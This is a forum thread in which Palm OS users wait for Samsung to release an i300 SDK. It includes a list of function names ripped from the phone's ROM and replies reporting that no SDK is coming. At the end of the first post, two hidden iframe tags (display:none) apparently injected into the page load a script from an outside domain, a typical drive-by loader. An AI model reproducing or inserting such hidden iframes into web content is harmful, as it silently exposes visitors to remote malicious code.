+ Reply to Thread
Page 1 of 2 1 2 LastLast
Results 1 to 20 of 21

Thread: i300 SDK?

  1. #1
    Registered User
    Join Date
    11-07-2001
    Location
    Miami, FL
    Posts
    132

    i300 SDK?

    Any idea where/when the i300 SDK will be available? Samsung's site (both samsungusa.com and samsung.com itself) don't even acknowledge the possibility that anyone would even want one, and I haven't had much luck with Sprint PCS either (I think they're not quite sure either).

    I did a little hacking and rom-ripping over the weekend and did find a few functions that look particularly tasty... At the high level, It looks like the silkscreen area is controlled by the phnxSilk* set of functions (though I suspect the mechanism for discarding/hiding it completely is something altogether different).

    prvSilkDrawBitmap
    phnxSilkLockSilkScreen
    phnxSilkCheckSilkScreenLock
    phnxSilkRegisterObjectList
    phnxSilkRefreshSilkScreen
    phnxSilkDrawBitmap
    phnxSilkDrawGraffitiScreen
    phnxSilkCopyGraffitiScreen
    phnxSilkSetBgColor
    phnxSilkCheckObjectEnabled
    phnxSilkChangeObjectID
    phnxSilkSetObjectGraphics
    phnxSilkSetObjectEnabled
    phnxSilkSetObjectRepeat
    phnxSilkShowObject
    phnxSilkHideObject
    phnxSilkFillRectangle
    phnxStsDrawBitmap
    phnxStbDisplayRSSI
    phnxStbDisplayPhone
    phnxStbDisplayRoam
    phnxStbDisplaySMS
    phnxStbDisplayNetwork
    phnxStbDisplayAlert
    phnxStbDisplayBattery
    phnxStbDisplayPhoneOff
    phnxLogStackCrawl
    phnxLogInitialize
    phnxLogGetLastSleepTime
    phnxLogSetLastSleepTime
    phnxLogGetLastWakeupTime
    phnxLogSetLastWakeupTime
    phnxLogGetLastWakeupReason
    phnxLogSetLastWakeupReason
    phnxLogPutString
    phnxLogGetNextString
    phnxLogSendLogToSerial
    phnxLogEnableLogging
    PhnxHPPowerHandleInterrupt
    PhnxDpramHandleInterrupt
    phnxPhonePowerOnStart
    phnxPhonePowerOnEnd
    phnxPhonePowerOn
    phnxPhonePowerIsActive
    phnxPhoneSetSerialStatus
    phnxPhoneGetSerialStatus
    phnxPhoneSetBatteryLevel
    phnxPhoneGetBatteryLevel
    phnxTTDprInstallDpramISR
    PhnxTTDprUninstallDpramISR
    phnxTTDprGetControlBlock
    phnxTTTmrInstallTimerISR
    PhnxTTTmrUninstallTimerISR
    phnxTTTmrGetTimerHead
    phnxTTTmrGetTimerOutHead
    phnxTTTmrGetTimerSleep
    phnxTTTmrSetTimerHead
    phnxTTTmrSetTimerOutHead
    TapiOemCfgGetPhoneSound
    TapiOemCfgSetPhoneSound
    TapiOemCfgGetHFKState
    TapiOemCfgGetEarphoneState
    TapiOemCfgGetSpeakerPhoneMode
    TapiOemCfgSetSpeakerPhoneMode
    TapiOemSndStartAlert
    TapiOemSndEndAlert
    TapiOemSndGetSpeakerPhoneVolume
    TapiOemSndSetSpeakerPhoneVolume
    TapiOemVMemoRecord
    TapiOemVMemoPlay
    TapiOemVMemoStop
    TapiOemVMemoPause
    TapiOemVMemoDelete
    TapiOemVMemoGetStatus


    TapiOemCallGetAlertDisplayInfo
    TapiOemCallGetCallWaitingInfo

    TapiOemCfgGetPhoneSound
    TapiOemCfgSetPhoneSound
    TapiOemSndStartAlert
    TapiOemSndEndAlert

    TapiOemDispSetSmallLCDText
    TapiOemDispGetMarkovData
    TapiOemDispSetSmallLCDIcon
    TapiOemNotifyPhoneAppStart

    ProcessOemCfgGetBellCount
    ProcessOemCfgGetBellName
    ProcessOemCfgGetPhoneSound<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Registered User
    Join Date
    10-25-2001
    Posts
    83
    That's great! I think you might be on to something here!!! Let us know when you come up with anything!!

  3. #3
    Registered User
    Join Date
    11-21-2001
    Location
    Overland Park, KS
    Posts
    2
    Which library did you look at? PADHTAL Library?

    -George

  4. #4
    Registered User
    Join Date
    11-07-2001
    Location
    Miami, FL
    Posts
    132
    Nothing that sophisticated... actually, I just used ROMtransfer.prc from the Palm Emulator to rip the i300's rom, perused it with UltraEdit in hex dump mode, noticed the phnx and ProcessOem and TapiOem functions, and wrote a perl program to just parse through the rom file and grep all the strings matching
    /(phnx\w+)/, /(TapiOem\w+)/, and /(ProcessOem\w+)/

    There are more... I just listed the ones that looked particularly interesting.

    Not terribly useful yet as far as making practical use of them... more like being a kid and finding the place where your parents hid your Christmas presents and studying the boxes to figure out what's inside...

  5. #5
    Dan
    Dan is offline
    Registered User
    Join Date
    10-23-2001
    Location
    Kansas City
    Posts
    54
    I wrote to Samsung about a week ago. The following all occurred within a single day:

    Hello,

    I was wondering if you are planning to provide any kind of SDK or information about API calls for the Samsung SPH-i300 phone. I'm
    very interested in writing applications which can take advantage of this device's additional phone features. Thanks in advance!
    The reply was:

    Please go to the following sight and chosse developer as the customer type and request to be a Samsung Authorized Developer in the body of the inquiry:

    http://samsungtelecom.compalm/response.asp

    Thanks,
    Technical Support
    So I did that. I got a message saying "Thank you for registering with palm os. Your username is (my email)".

    Nothing has happened since. I guess my expectation was that Something Would Happen. At least an email, "Here's when we plan to have an SDK", or "SDKs are for wussies, you wimp", or "What's an SDK?" but no, nothing of that effect, or any other for that matter. *sigh*

  6. #6
    Registered User
    Join Date
    11-07-2001
    Location
    Miami, FL
    Posts
    132
    God knows how many times I've submitted that damn form to Samsung since June -- without ever receiving a reply. I wouldn't be surprised if it was set up with a dummy email address by the web developer and forgotten about, and is currently filling some mailserver's black hole with email...

    Sigh... another time can't hurt, I guess...

  7. #7
    Registered User
    Join Date
    10-31-2001
    Location
    Truffula Forest
    Posts
    47
    Anyone know of any movement on this front?

    There are a whole raft of features people want (vibrating alarms, address connectivity to the phone, etc.) that cannot be addressed by 3rd parties until the APIs are made available. Just about all the 3rd parties are stepping up and embracing the hi-res screens on the Sonys and the extra pixels on the handeras. Sure would be nice to get thos capabilities in our I300.

    Does Samsung want anyone developing for their product?

    Is there an official Samsung forum for the I300? Does anyone from Samsung monitor this forum?

  8. #8
    Registered User
    Join Date
    10-18-2001
    Posts
    305
    I received an email from someone at samsung asking about this forum.... they wanted to know if I was affiliated with Samsung.....

    so someone was/is watching....


    Brooks

  9. #9
    Registered User
    Join Date
    12-06-2001
    Location
    Simsbury, CT
    Posts
    93
    Sadly, it may have been their lawyers. The next step may be for them to tell you to cease and desist in using their product name for your web site address, etc.

    I'd definitely like to see some development work on the i300. The list of gripes I have is quite long.

    Scott

  10. #10
    Administrator
    Join Date
    10-21-2001
    Posts
    26,048

    Arrow

    Originally posted by fikse
    I received an email from someone at samsung asking about this forum.... they wanted to know if I was affiliated with Samsung.....

    so someone was/is watching....


    Brooks
    yeah jimmyjoe over at the 6035 forum had to shut his site down for a while as he had some legal issues with the kyo geeks.. so he had to revamp somethings on his site, but brooks your site seems to not be doing anything illegal...

    i was going to sign up for the list also but i wanted to see if anyone got any feedback from anyone on that front... if someone who has signed up for the sdk list gets some positive feedback, please post so we all can stay up on it!

  11. #11
    Registered User
    Join Date
    12-21-2001
    Location
    San Francisco bay area
    Posts
    62

    Interesting..

    check this out:

    http://www.palmoswerks.com/2001/10/29

    Add option to wizards to let you choose Palm or Metrowerks coding style
    Add wizard support for Samsung SPH-I300 SDK
    Improve the organization of the Palm OS SDK help files

    -mark

  12. #12
    Registered User
    Join Date
    10-31-2001
    Location
    Truffula Forest
    Posts
    47
    Is this patch available? Looks like it was suppose to be ready at the end of 2001. Do we have any Metrowerks coders on the forum that could get the latest patch and let us know if there is any support for the i300?

  13. #13
    Registered User
    Join Date
    11-07-2001
    Posts
    177

    Email the guy?

    Has anyone tried emailing the guy that talked about the 8.1 patch? Here's the info from the site....

    ----------

    Send feedback to combee@techwood.org
    Copyright © 2002 Benjamin L. Combee
    Palm OS is a registered trademark of Palm, Inc.
    Metrowerks and CodeWarrior are registered trademarks of Metrowerks Inc.

    ----------

  14. #14
    Registered User
    Join Date
    11-29-2001
    Location
    Sunnyvale, CA
    Posts
    23
    I emailed Ben. He is still waiting for Samsung to release the SDK.

    --Gaurav

  15. #15
    Napoleon Bonaparte Jr.
    Join Date
    03-18-2002
    Location
    Moorestown
    Posts
    354

    Question Sdk ???

    Is anyone know , when SDK will come out ???

  16. #16
    Old School mjorange's Avatar
    Join Date
    11-07-2001
    Location
    San Rafael
    Posts
    2,254
    Don't hold your breath for the SDK for the 300.

  17. #17
    Registered User
    Join Date
    05-14-2002
    Posts
    4
    Samsung doesn't have a SDK kit for the i300 phones. No plans to release in the future.



    Sincerely,
    Samtech083
    Wireless Technical Support Group

    here is what i got back.

  18. #18
    Registered User
    Join Date
    01-27-2003
    Location
    OH
    Posts
    55

    i300 SDK

    So, is Samsung ever going to release one? Can we start up a petition if they don't? I'd really like to try my hand at development if I don't have to get too nitty-gritty to do so

  19. #19
    Registered User
    Join Date
    01-21-2002
    Posts
    159
    Samsung redefined SDK to mean "Some Day Kid"...

  20. #20
    Administrator
    Join Date
    10-21-2001
    Posts
    26,048

    Arrow

    there will not be an SDK released for the I300.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts